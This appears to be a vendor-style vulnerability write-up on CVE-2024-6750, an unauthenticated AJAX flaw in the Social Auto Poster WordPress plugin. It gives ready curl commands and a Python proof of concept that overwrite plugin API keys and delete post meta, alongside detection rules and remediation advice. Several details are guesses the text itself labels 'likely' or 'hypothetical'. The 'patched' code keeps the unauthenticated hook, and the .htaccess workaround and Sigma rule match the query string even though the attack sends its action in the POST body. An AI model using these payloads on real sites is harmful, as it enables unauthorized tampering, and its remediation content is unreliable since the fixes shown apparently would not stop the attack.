CVE-2024-6750

Executive Summary

CVE-2024-6750 is a critical missing capability check vulnerability in the Social Auto Poster WordPress plugin (versions up to and including 5.3.14). This flaw allows unauthenticated attackers to add, modify, or delete post meta and plugin options, leading to unauthorized access, data modification, and potential data loss. The vulnerability stems from multiple functions lacking proper permission checks, enabling remote exploitation without authentication. Given the plugin's role in automating social media posting, exploitation could lead to defacement, data exfiltration, or further compromise of the WordPress site.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for all users of the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The high score reflects the ease of exploitation (no authentication required) and the potential for unauthorized modification of critical plugin data.

Deep Dive & Mechanics

The Social Auto Poster plugin provides functions for managing post metadata and plugin options. The vulnerability exists because multiple functions (e.g., save_post_meta, update_plugin_options, delete_post_meta) are registered via WordPress AJAX actions without a current_user_can() or wp_verify_nonce() check. This allows any unauthenticated user to call these functions directly via crafted HTTP requests.

Key vulnerable functions (likely):

• save_post_meta() – modifies post metadata
• update_plugin_options() – changes plugin settings
• delete_post_meta() – removes post metadata

An attacker can send a POST request to /wp-admin/admin-ajax.php with the appropriate action parameter and payload to manipulate data.

Vulnerable vs. Patched Code

Vulnerable code (<= 5.3.14):

add_action('wp_ajax_nopriv_sap_save_meta', 'sap_save_meta');
function sap_save_meta() {
    // No capability check
    update_post_meta($_POST['post_id'], $_POST['meta_key'], $_POST['meta_value']);
}

Patched code (hypothetical):

add_action('wp_ajax_nopriv_sap_save_meta', 'sap_save_meta');
function sap_save_meta() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized');
    }
    check_ajax_referer('sap_nonce', 'nonce');
    update_post_meta($_POST['post_id'], $_POST['meta_key'], $_POST['meta_value']);
}

The patch adds current_user_can() and nonce verification to ensure only authorized users can perform these actions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Social Auto Poster <= 5.3.14 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the AJAX actions used by the plugin (e.g., via source code review or fuzzing).
2. Craft a POST request to modify plugin options:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=sap_update_options&option_name=social_auto_poster_api_key&option_value=attacker_controlled_key"

3. To delete post meta:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=sap_delete_meta&post_id=1&meta_key=_sap_meta"

Proof of Concept (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "sap_update_options",
    "option_name": "social_auto_poster_api_key",
    "option_value": "malicious_key"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Response)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions containing "sap_" from unauthenticated users.
• Look for spikes in update_post_meta or update_option calls from non-admin IPs.

Response:

• Immediately disable the plugin if no patch is available.
• Review recent changes to post meta and plugin options.
• Rotate any API keys or secrets stored in plugin options.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with parameters containing action=sap_ and no nonce field.
• File: Unexpected modifications to wp_postmeta table entries with keys starting with _sap_.
• Log: WordPress debug log entries showing sap_ AJAX calls from unauthenticated users.
• System: New or modified plugin options in wp_options table with social_auto_poster_ prefix.

Detection Engineering

YARA Rule

rule Detect_SocialAutoPoster_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6750 in Social Auto Poster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6750"
    strings:
        $ajax_action = /action=sap_(update_options|save_meta|delete_meta)/
        $no_nonce = /&(?!nonce=)/
    condition:
        $ajax_action and #no_nonce > 0
}

Sigma Rule

title: Social Auto Poster Unauthenticated AJAX Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated AJAX requests targeting Social Auto Poster plugin functions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|re: 'action=sap_(update_options|save_meta|delete_meta)'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-6750 Social Auto Poster Unauthenticated AJAX Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    pcre:"/action=sap_(update_options|save_meta|delete_meta)/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and revert any unauthorized changes to post meta and plugin options.
3. Implement Web Application Firewall (WAF) rules to block AJAX requests with sap_ actions from unauthenticated users.

Long-term Fix:

• The vendor must release a patched version (>= 5.3.15) that adds capability checks and nonce verification to all AJAX functions.
• Users should update to the latest version once available.

Workaround:

• Add the following to .htaccess to block unauthenticated AJAX requests to the plugin:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} admin-ajax\.php
RewriteCond %{QUERY_STRING} action=sap_
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]
</IfModule>

Valters IT
Securing Digital Frontiers